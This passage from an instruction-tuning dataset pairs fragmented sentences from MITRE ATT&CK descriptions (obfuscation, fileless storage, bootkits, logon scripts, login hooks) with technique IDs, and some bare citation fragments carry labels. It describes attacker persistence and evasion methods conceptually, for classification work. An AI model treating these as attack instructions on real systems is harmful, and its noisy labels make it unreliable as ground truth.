<code>/etc/bashrc</code> on startup.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For legacy programs, macOS executes <code>/etc/bashrc</code> on startup. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.", "output": "T1113", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. ### Response: T1113."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.", "output": "T1113", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. ### Response: T1113."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation:", "output": "T1113", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: ### Response: T1113."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CopyFromScreen .NET)(Citation:", "output": "T1113", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CopyFromScreen .NET)(Citation: ### Response: T1113."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Antiquated Mac Malware)", "output": "T1113", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Antiquated Mac Malware) ### Response: T1113."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses.", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Fileless storage can be broadly defined as any format other than a file.", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Fileless storage can be broadly defined as any format other than a file. ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation:", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Fileless)(Citation: SecureList Fileless)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620)", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Fileless)(Citation: SecureList Fileless)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "and [Process Injection](https://attack.mitre.org/techniques/T1055)", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: and [Process Injection](https://attack.mitre.org/techniques/T1055) ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": ", fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: , fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)).", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless)", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR).", "output": "T1067", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). ### Response: T1067."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MTrends 2016)", "output": "T1067", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MTrends 2016) ### Response: T1067."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.", "output": "T1067", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. ### Response: T1067."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS.", "output": "T1067", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. ### Response: T1067."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is the location of the boot loader.", "output": "T1067", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is the location of the boot loader. ### Response: T1067."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.", "output": "T1067", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. ### Response: T1067."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR.", "output": "T1067", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. ### Response: T1067."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", "output": "T1067", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code. ### Response: T1067."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup.", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files allow system administrators to map and start custom services at startup for different run levels.", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files allow system administrators to map and start custom services at startup for different run levels. ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RC scripts require root privileges to modify.", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RC scripts require root privileges to modify. ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation:", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Intezer HiddenWasp Map 2019)", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Intezer HiddenWasp Map 2019) ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon reboot, the system executes the script's contents as root, resulting in persistence.", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon reboot, the system executes the script's contents as root, resulting in persistence. ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts.", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items)", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)", "output": "T1037.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc) ### Response: T1037.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence.", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts)", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code>", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code> ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry key.(Citation: Hexacorn Logon Scripts)", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry key.(Citation: Hexacorn Logon Scripts) ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use these scripts to maintain persistence on a single system.", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use these scripts to maintain persistence on a single system. ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence.", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation:", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Petri Logon Script AD)", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Petri Logon Script AD) ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These logon scripts run with the privileges of the user they are assigned to.", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These logon scripts run with the privileges of the user they are assigned to. ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use these scripts to maintain persistence on a network.", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use these scripts to maintain persistence on a network. ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use startup items automatically executed at boot initialization to establish persistence.", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use startup items automatically executed at boot initialization to establish persistence. ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items) ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra.", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence)", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user. ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a Login Hook to establish persistence executed upon user logon.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a Login Hook to establish persistence executed upon user logon. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A login hook is a plist file that points to a specific script to execute with root privileges upon user logon.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is the same for logout hooks where a script can be executed upon user logout.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is the same for logout hooks where a script can be executed upon user logout. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair.", "output": "T1037.002", "text": "Below is an instruction that describes a task, 